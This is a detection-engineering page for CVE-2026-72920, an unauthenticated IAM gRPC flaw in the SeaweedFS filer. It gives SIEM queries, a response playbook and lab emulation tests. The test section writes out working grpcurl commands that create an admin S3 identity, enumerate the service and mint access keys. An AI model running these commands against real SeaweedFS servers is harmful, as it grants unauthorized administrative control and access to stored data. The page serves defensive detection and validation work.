CVE-2026-72920

SeaweedFS Unauthenticated Filer IAM gRPC S3 Admin Takeover (CVE-2026-72920)

Detects exploitation of CVE-2026-72920, a missing-authentication flaw (CWE-306) in SeaweedFS where the filer's IAM gRPC service exposes S3 identity/credential management without authentication. An unauthenticated attacker can invoke IAM gRPC RPCs (e.g. CreateIdentity/ConfigureS3/UpdateS3Credentials) against the filer's gRPC port to mint S3 admin credentials, add access keys, or alter bucket policies — yielding full administrative control of the object store. Detection focuses on anomalous gRPC calls to the SeaweedFS filer IAM service, sudden creation of new S3 identities/access keys, and follow-on S3 admin actions from untrusted sources. Affected: github.com/seaweedfs/seaweedfs versions before 0.0.0-20260512171108-5e8f99f40a8a (release 4.24).

Vulnerability Intelligence

Public PoC

CVSS

9.8
Critical (9.0–10)
CVSS vector not yet published
Write-up coming soon

What is CVE-2026-72920 SeaweedFS Unauthenticated Filer IAM gRPC S3 Admin Takeover (CVE-2026-72920)?

SeaweedFS Unauthenticated Filer IAM gRPC S3 Admin Takeover (CVE-2026-72920) (CVE-2026-72920) maps to the Initial Access and Privilege Escalation and Persistence and Collection tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for SeaweedFS Unauthenticated Filer IAM gRPC S3 Admin Takeover (CVE-2026-72920), covering the data sources and telemetry it touches: Network firewall / NGFW logs, Zeek/Suricata gRPC-HTTP2 metadata, Endpoint network connection telemetry. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Privilege Escalation Persistence Collection
Microsoft Sentinel / Defender
kusto
let filerGrpcPorts = dynamic([18888, 18889, 16333]);
union isfuzzy=true CommonSecurityLog, Syslog, DeviceNetworkEvents
| where TimeGenerated > ago(1h)
| extend DestPort = coalesce(column_ifexists("DestinationPort", 0), column_ifexists("RemotePort", 0))
| extend Payload = coalesce(column_ifexists("AdditionalExtensions",""), column_ifexists("SyslogMessage",""), column_ifexists("AdditionalFields",""))
| where DestPort in (filerGrpcPorts) or Payload has_any ("filer_pb.SeaweedFiler", "iam_pb.SeaweedIdentityAccessManagement", "ConfigureS3", "CreateIdentity", "UpdateS3Credentials")
| where Payload has_any ("CreateIdentity", "ConfigureS3", "UpdateS3Credentials", "PutS3Credential", "iam_pb")
| extend SourceIP = coalesce(column_ifexists("SourceIP",""), column_ifexists("RemoteIP",""))
| where isnotempty(SourceIP) and not(ipv4_is_private(SourceIP))
| summarize CallCount=count(), Methods=make_set(Payload, 20) by SourceIP, DestPort, bin(TimeGenerated, 5m)
| where CallCount > 0

Flags unauthenticated gRPC calls to SeaweedFS filer IAM service methods (CreateIdentity/ConfigureS3/UpdateS3Credentials) from non-private sources against known filer gRPC ports.

critical severity medium confidence

Data Sources

Network firewall / NGFW logs Zeek/Suricata gRPC-HTTP2 metadata Endpoint network connection telemetry

Required Tables

CommonSecurityLog Syslog DeviceNetworkEvents

False Positives

  • Legitimate SeaweedFS administrators or automation running IAM provisioning from a management host
  • Internal backup/replication tooling invoking filer gRPC methods
  • Security scanners fingerprinting gRPC services during authorized assessments

Sigma rule & cross-platform mapping

The detection logic for SeaweedFS Unauthenticated Filer IAM gRPC S3 Admin Takeover (CVE-2026-72920) (CVE-2026-72920) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Invoke SeaweedFS filer IAM gRPC CreateIdentity unauthenticated

    Expected signal: Network connection to port 18888 and filer gRPC log entry for CreateIdentity from the test source IP.

  2. Test 2Fingerprint SeaweedFS filer gRPC IAM service

    Expected signal: gRPC reflection/list request to port 18888 recorded in network and filer logs.

  3. Test 3Provision and use attacker S3 credentials via UpdateS3Credentials

    Expected signal: UpdateS3Credentials gRPC call on 18888 followed by S3 ListBuckets on 8333 using the new access key.


Response Playbook

Triage

  1. Confirm the affected filer's SeaweedFS version is below 0.0.0-20260512171108-5e8f99f40a8a (pre-release 4.24); versions at or above are patched.
  2. Identify the source IP invoking the IAM gRPC methods and determine whether it is a known administrative/automation host or an untrusted/external source.
  3. Pull the filer's IAM configuration (identities.json / config) and diff against the last known-good baseline to spot newly created identities or access keys.
  4. Correlate the timing of the gRPC IAM call with any subsequent S3 API activity (bucket creation, ListBuckets, object exfiltration) from the new credentials.

Containment

  1. Restrict network access to the filer gRPC port (default 18888) to trusted management CIDRs only via firewall/security group, and block the offending source IP.
  2. Revoke and rotate all S3 identities and access keys created or modified during the incident window; delete any attacker-provisioned identities.
  3. Upgrade SeaweedFS to release 4.24 (commit 5e8f99f40a8a) or later to enforce authentication on the filer IAM gRPC service.

Evidence Collection

  1. Capture the filer gRPC/access logs and the IAM config file (identities.json) showing created identities and credential mutations.
  2. Preserve network flow/pcap for the source IP to the filer gRPC port, including HTTP/2 frames revealing the invoked RPC methods.
  3. Export S3 access logs for all buckets to document any data accessed or exfiltrated using attacker-minted credentials.

Escalation Criteria

  • ! Escalate to incident response if a new S3 identity/access key was created by an untrusted source and used to access buckets.
  • ! Escalate to data-breach/legal workflow if object listing or download from sensitive buckets is observed under attacker credentials.

Investigation Guide

Forensic Artifacts

  • > SeaweedFS filer IAM config file (identities.json) with newly added identity/credential entries
  • > Filer gRPC access logs recording CreateIdentity/ConfigureS3/UpdateS3Credentials invocations
  • > Network flow records and HTTP/2 payloads to filer gRPC port 18888
  • > S3 access logs showing use of attacker-provisioned access keys

Tuning Guidance

Baseline the set of hosts that legitimately administer SeaweedFS IAM (management jump hosts, CI/CD runners) and allowlist their source IPs. Restrict alerting to filer gRPC ports actually in use in your environment (default 18888) and to IAM mutation methods rather than benign read RPCs. If gRPC payload inspection is unavailable, rely on port + external-source heuristics and correlate with filer-side IAM config changes to reduce noise.


Hunting Queries

Hunt for external connections to SeaweedFS filer gRPC ports and IAM mutation events, then pivot to the identities/credentials touched.

Hunting — KQL
kql
DeviceNetworkEvents | where RemotePort in (18888,18889,16333) | where not(ipv4_is_private(RemoteIP)) | summarize count() by RemoteIP, DeviceName, bin(Timestamp,1h)
Hunting — SPL
spl
index=seaweedfs sourcetype=seaweedfs:filer ("CreateIdentity" OR "ConfigureS3" OR "UpdateS3Credentials") | stats count values(identity) by src_ip _time

Atomic Red Team Tests

Test 1 Invoke SeaweedFS filer IAM gRPC CreateIdentity unauthenticated
linux

Simulate an unauthenticated gRPC call to the SeaweedFS filer IAM service to create a new S3 identity in a lab.

Command

bash
grpcurl -plaintext -d '{"identity":{"name":"attacker","credentials":[{"accessKey":"AKIAATTACKER","secretKey":"s3cr3t"}],"actions":["Admin"]}}' filer.lab.local:18888 iam_pb.SeaweedIdentityAccessManagement/CreateIdentity

Cleanup

bash
grpcurl -plaintext -d '{"name":"attacker"}' filer.lab.local:18888 iam_pb.SeaweedIdentityAccessManagement/DeleteIdentity

Expected Telemetry

Network connection to port 18888 and filer gRPC log entry for CreateIdentity from the test source IP.

Expected Detection

KQL/SPL rules fire on the CreateIdentity method from a non-private source IP.

Test 2 Fingerprint SeaweedFS filer gRPC IAM service
linux

Enumerate the unauthenticated IAM gRPC service via reflection to confirm exposure.

Command

bash
grpcurl -plaintext filer.lab.local:18888 list iam_pb.SeaweedIdentityAccessManagement

Cleanup

bash
echo 'no cleanup required for enumeration'

Expected Telemetry

gRPC reflection/list request to port 18888 recorded in network and filer logs.

Expected Detection

Network-based rules surface external connection to the filer gRPC port; payload rules match iam_pb reference.

Test 3 Provision and use attacker S3 credentials via UpdateS3Credentials
linux

Chain identity creation with an S3 access-key mutation then a bucket list to emulate full takeover in a lab.

Command

bash
grpcurl -plaintext -d '{"name":"attacker","credentials":[{"accessKey":"AKIAATTACKER","secretKey":"s3cr3t"}]}' filer.lab.local:18888 iam_pb.SeaweedIdentityAccessManagement/UpdateS3Credentials; AWS_ACCESS_KEY_ID=AKIAATTACKER AWS_SECRET_ACCESS_KEY=s3cr3t aws --endpoint-url http://filer.lab.local:8333 s3 ls

Cleanup

bash
grpcurl -plaintext -d '{"name":"attacker"}' filer.lab.local:18888 iam_pb.SeaweedIdentityAccessManagement/DeleteIdentity

Expected Telemetry

UpdateS3Credentials gRPC call on 18888 followed by S3 ListBuckets on 8333 using the new access key.

Expected Detection

Correlation of IAM gRPC mutation with subsequent S3 admin activity from attacker access key triggers the sequence/EQL rule.

Related Detections